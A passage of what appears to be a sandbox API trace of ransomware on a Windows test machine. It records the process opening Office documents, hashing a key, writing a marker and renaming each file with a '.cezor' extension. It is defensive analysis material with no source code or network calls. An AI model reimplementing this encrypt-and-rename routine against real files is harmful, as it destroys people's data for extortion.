returned=".docx" [0060.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\k0bYHnrNfY0Z01.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\k0byhnrnfy0z01.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.115] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=94405) returned 1 [0060.115] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.117] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1709f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.117] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.118] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x170c5, lpOverlapped=0x0) returned 1 [0060.118] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.118] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.119] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.119] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.119] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.119] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.119] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.119] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.119] GetLastError () returned 0x0 [0060.120] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.120] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.120] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x170c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.120] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.120] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.121] CloseHandle (hObject=0x5c4) returned 1 [0060.122] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\k0bYHnrNfY0Z01.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\k0byhnrnfy0z01.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\k0bYHnrNfY0Z01.docx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\k0byhnrnfy0z01.docx.cezor")) returned 1 [0060.123] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802ba5a0, ftCreationTime.dwHighDateTime=0x1d51734, ftLastAccessTime.dwLowDateTime=0x142ddd30, ftLastAccessTime.dwHighDateTime=0x1d4fedb, ftLastWriteTime.dwLowDateTime=0x142ddd30, ftLastWriteTime.dwHighDateTime=0x1d4fedb, nFileSizeHigh=0x0, nFileSizeLow=0xf9d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kbQLv1HzRjuGX8_0 ow.pptx", cAlternateFileName="KBQLV1~1.PPT")) returned 1 [0060.123] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kbQLv1HzRjuGX8_0 ow.pptx") returned=".pptx" [0060.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kbQLv1HzRjuGX8_0 ow.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kbqlv1hzrjugx8_0 ow.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.123] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=63958) returned 1 [0060.123] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.125] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf9b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.125] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.126] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xf9d6, lpOverlapped=0x0) returned 1 [0060.126] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.126] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.126] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.126] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.127] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.127] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.127] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.127] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.127] GetLastError () returned 0x0 [0060.127] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.127] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.128] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf9d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.128] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.128] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.128] CloseHandle (hObject=0x5c4) returned 1 [0060.129] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kbQLv1HzRjuGX8_0 ow.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kbqlv1hzrjugx8_0 ow.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kbQLv1HzRjuGX8_0 ow.pptx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kbqlv1hzrjugx8_0 ow.pptx.cezor")) returned 1 [0060.130] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4266ff0, ftCreationTime.dwHighDateTime=0x1d4c081, ftLastAccessTime.dwLowDateTime=0xb9ad4960, ftLastAccessTime.dwHighDateTime=0x1d4e01a, ftLastWriteTime.dwLowDateTime=0xb9ad4960, ftLastWriteTime.dwHighDateTime=0x1d4e01a, nFileSizeHigh=0x0, nFileSizeLow=0x562c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M0viuAr.pptx", cAlternateFileName="M0VIUA~1.PPT")) returned 1 [0060.130] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\M0viuAr.pptx") returned=".pptx" [0060.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\M0viuAr.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m0viuar.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.131] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=22060) returned 1 [0060.131] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.132] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5606, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.132] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.133] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x562c, lpOverlapped=0x0) returned 1 [0060.133] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.133] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.133] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.133] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.134] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.134] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.134] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.134] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.134] GetLastError () returned 0x0 [0060.134] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.134] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.134] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x562c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.135] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.135] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.135] CloseHandle (hObject=0x5c4) returned 1 [0060.137] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\M0viuAr.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m0viuar.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\M0viuAr.pptx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m0viuar.pptx.cezor")) returned 1 [0060.138] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed365f00, ftCreationTime.dwHighDateTime=0x1d4ca68, ftLastAccessTime.dwLowDateTime=0xb22aced0, ftLastAccessTime.dwHighDateTime=0x1d4ce5c, ftLastWriteTime.dwLowDateTime=0xb22aced0, ftLastWriteTime.dwHighDateTime=0x1d4ce5c, nFileSizeHigh=0x0, nFileSizeLow=0x2574, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJD0Lk7dF2uj7fNWL.doc", cAlternateFileName="MJD0LK~1.DOC")) returned 1 [0060.138] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mJD0Lk7dF2uj7fNWL.doc") returned=".doc" [0060.138] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mJD0Lk7dF2uj7fNWL.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mjd0lk7df2uj7fnwl.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.139] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=9588) returned 1 [0060.139] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.140] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x254e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.140] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.141] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x2574, lpOverlapped=0x0) returned 1 [0060.141] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.141] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.141] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.141] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.142] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.142] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.142] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.142] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.142] GetLastError () returned 0x0 [0060.142] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.143] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.143] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.143] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.143] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.143] CloseHandle (hObject=0x5c4) returned 1 [0060.144] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mJD0Lk7dF2uj7fNWL.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mjd0lk7df2uj7fnwl.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mJD0Lk7dF2uj7fNWL.doc.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mjd0lk7df2uj7fnwl.doc.cezor")) returned 1 [0060.145] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fdeb90, ftCreationTime.dwHighDateTime=0x1d52d45, ftLastAccessTime.dwLowDateTime=0x51fc99f0, ftLastAccessTime.dwHighDateTime=0x1d50bdb, ftLastWriteTime.dwLowDateTime=0x51fc99f0, ftLastWriteTime.dwHighDateTime=0x1d50bdb, nFileSizeHigh=0x0, nFileSizeLow=0x12845, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpW-3B9.xlsx", cAlternateFileName="MPW-3B~1.XLS")) returned 1 [0060.146] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpW-3B9.xlsx") returned=".xlsx" [0060.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpW-3B9.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpw-3b9.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.146] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=75845) returned 1 [0060.146] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.147] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1281f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.148] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.148] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.148] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x12845, lpOverlapped=0x0) returned 1 [0060.149] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.149] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.149] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.149] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.150] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.150] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.150] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.150] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.150] GetLastError () returned 0x0 [0060.150] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.150] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.150] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12845, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.150] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.150] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.151] CloseHandle (hObject=0x5c4) returned 1 [0060.152] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpW-3B9.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpw-3b9.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpW-3B9.xlsx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpw-3b9.xlsx.cezor")) returned 1 [0060.152] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.152] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.153] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0060.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0060.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d7f8 [0060.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc) returned 0x30ffd28 [0060.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f61b8 [0060.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d960 [0060.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306db40 [0060.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f62f0 | out: hHeap=0x670000) returned 1 [0060.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5b38 | out: hHeap=0x670000) returned 1 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d7f8 | out: hHeap=0x670000) returned 1 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0060.154] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d7f8 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d7f8 | out: hHeap=0x670000) returned 1 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0060.154] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d7f8 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d7f8 | out: hHeap=0x670000) returned 1 [0060.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0060.154] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, 